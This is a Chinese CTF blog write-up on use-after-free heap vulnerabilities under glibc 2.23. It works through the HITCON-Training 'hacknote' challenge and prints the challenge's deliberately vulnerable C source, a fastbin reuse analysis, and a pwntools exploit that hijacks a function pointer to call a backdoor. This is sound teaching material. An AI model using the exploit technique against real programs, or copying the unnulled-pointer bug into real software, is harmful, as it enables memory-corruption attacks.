目录

  1. 1. 前言
  2. 2. 原理
  3. 3. 例题
    1. 3.1. add_note
    2. 3.2. del_note
    3. 3.3. print_note
    4. 3.4. 利用分析

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Use After Free

2025/3/2 Pwn Heap
  |     |   总文章阅读量:

前言

参考:

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/use-after-free/

https://www.freebuf.com/articles/system/289270.html

简称为UAF漏洞,顾名思义就是指当申请的chunk被释放后还可以被使用

测试 glibc 版本为 2.23,采用 ubuntu16.04


原理

当一个内存块被释放之后再次被使用,有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

一般所指的 Use After Free 漏洞主要是后两种

UAF 漏洞大部分都出现在使用一个指针 P 去申请一个指定大小的 chunk,而当 free 指针 P 以后指针 P 并没有被置空(指向NULL),那么即使释放了这块内存,但是依旧可以对这块内存进行操作

测试代码:(glibc2.27以上被修了)

#include <stdio.h>
#include <stdlib.h>
typedef struct name {
  char *myname;
  void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
  NAME *a;
  a = (NAME *)malloc(sizeof(struct name));
  a->func = myprint;
  a->myname = "I can also use it";
  a->func("this is my function");

  // free without modify
  free(a);
  a->func("I can also use it");

  // free with modify
  a->func = printmyname;
  a->func("this is my function");

  // set NULL
  a = NULL;
  printf("this pogram will crash...\n");
  a->func("can not be printed...");
}

审计一下代码,可以看到首先定义了数据结构和两个函数

定义了指针 a 以后,为指针 a 申请空间,并且将 a->func 指针指到 myprint 函数,在 free 掉 a 以后又进行了继续调用,然后将 a 置空再次调用 a 的函数

编译并运行

image-20250302222919616

可以看到虽然我们 free 掉 a 指针,但是 a 指向的函数 myprint 依旧可以被调用

并且可以被修改为调用 printmyname,直到 a 被置为空以后才发生了 Segmention fault


例题

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote

代审一手

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note {
  void (*printnote)();
  char *content;
};

struct note *notelist[5];
int count = 0;

void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
  int i;
  char buf[8];
  int size;
  if (count > 5) {
    puts("Full");
    return;
  }
  for (i = 0; i < 5; i++) {
    if (!notelist[i]) {
      notelist[i] = (struct note *)malloc(sizeof(struct note));
      if (!notelist[i]) {
        puts("Alloca Error");
        exit(-1);
      }
      notelist[i]->printnote = print_note_content;
      printf("Note size :");
      read(0, buf, 8);
      size = atoi(buf);
      notelist[i]->content = (char *)malloc(size);
      if (!notelist[i]->content) {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, notelist[i]->content, size);
      puts("Success !");
      count++;
      break;
    }
  }
}

void del_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    free(notelist[idx]->content);
    free(notelist[idx]);
    puts("Success");
  }
}

void print_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    notelist[idx]->printnote(notelist[idx]);
  }
}

void magic() { system("cat flag"); }

void menu() {
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  printf("Your choice :");
};

int main() {
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[4];
  while (1) {
    menu();
    read(0, buf, 4);
    switch (atoi(buf)) {
    case 1:
      add_note();
      break;
    case 2:
      del_note();
      break;
    case 3:
      print_note();
      break;
    case 4:
      exit(0);
      break;
    default:
      puts("Invalid choice");
      break;
    }
  }
  return 0;
}

先看数据结构:

struct note {
  void (*printnote)();
  char *content;
};

struct note *notelist[5];
int count = 0;

void print_note_content(struct note *this) { puts(this->content); }

定义了一个数据结构 note,包含一个函数指针和一个字符串指针,这里是32位程序,每个指针占4个字节,总共8字节

定义了一个 note 类型的数组,而 count 是后面用来向数组中增加 note 的时候计数的

定义了一个函数,用来输出 note 中的 content

然后看第一个功能点:

add_note

void add_note() {
  int i;
  char buf[8];
  int size;
  if (count > 5) {
    puts("Full");
    return;
  }
  for (i = 0; i < 5; i++) {
    if (!notelist[i]) {
      notelist[i] = (struct note *)malloc(sizeof(struct note));
      if (!notelist[i]) {
        puts("Alloca Error");
        exit(-1);
      }
      notelist[i]->printnote = print_note_content;
      printf("Note size :");
      read(0, buf, 8);
      size = atoi(buf);
      notelist[i]->content = (char *)malloc(size);
      if (!notelist[i]->content) {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, notelist[i]->content, size);
      puts("Success !");
      count++;
      break;
    }
  }
}

首先 malloc(sizeof(struct note)) 申请内存,内存大小为 note 的大小(32位程序下是8字节),然后内存的地址就存放在 notelist 数组中,并且将函数指针指向 print_note_content

然后 malloc(size) 根据输入的 size 来申请内存空间用来存放 content,大小用户自定义 buf 且无限制

+-----------------+                       
|   printnote     |                       
+-----------------+                       
|   content       |       size              
+-----------------+------------------->+----------------+
                                       |     real       |
                                       |    content     |
                                       |                |
                                       +----------------+

del_note

第二个功能点:

void del_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    free(notelist[idx]->content);
    free(notelist[idx]);
    puts("Success");
  }
}

删除指定下标的 note 和 content,注意这里使用了 free,但是没有置空指针,所以存在 UAF 漏洞

第三个功能点:

void print_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    notelist[idx]->printnote(notelist[idx]);
  }
}

输出指定的下标

后门:

void magic() { system("cat flag"); }

image-20250303174156219

地址在 0x08048986

利用分析

总结现有的信息:

存在一个后门函数,我们自己申请的堆内存中存在一个函数指针notelist[i]->printnote,这个函数指针可以被print_note调用

那么思路就是覆盖掉某个 note 的 printnote 指针来调用后门函数,由于程序中只有唯一的地方对 printnote 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖

前面说过 note 总共8个字节,当调用malloc(sizeof(struct note))时,实际分配的chunk大小会包含元数据并按对齐规则调整,也就是说用户请求8字节,加上8字节元数据后总 chunk 大小为16字节,属于 fastbin 的范围(32位下管理 16-80 字节的chunk)

思路如下:

  • 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 释放 note0
  • 释放 note1
  • 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
  • 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则,note2 其实会分配 note1 对应的内存块(因为我们先释放的是 note0 再释放的 note1,那么 note1 就是链表的尾部,fast bin 是先进后出的,直接对链表尾进行操作)
  • 所以 real content 对应的 chunk 其实是 note0
  • 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数

exp:

# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
    r.recvuntil(b":")
    r.sendline(b"1")
    r.recvuntil(b":")
    r.sendline(str(size).encode())
    r.recvuntil(b":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(b":")
    r.sendline(b"2")
    r.recvuntil(b":")
    r.sendline(str(idx).encode())


def printnote(idx):
    r.recvuntil(b":")
    r.sendline(b"3")
    r.recvuntil(b":")
    r.sendline(str(idx).encode())


#gdb.attach(r)
magic = 0x08048986

addnote(16, b"aaaa") # add note 0
addnote(16, b"ddaa") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

image-20250303174756928